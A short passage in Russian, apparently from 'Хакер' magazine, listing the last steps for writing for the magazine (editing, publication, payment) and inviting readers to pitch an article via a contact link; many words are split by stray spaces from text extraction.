дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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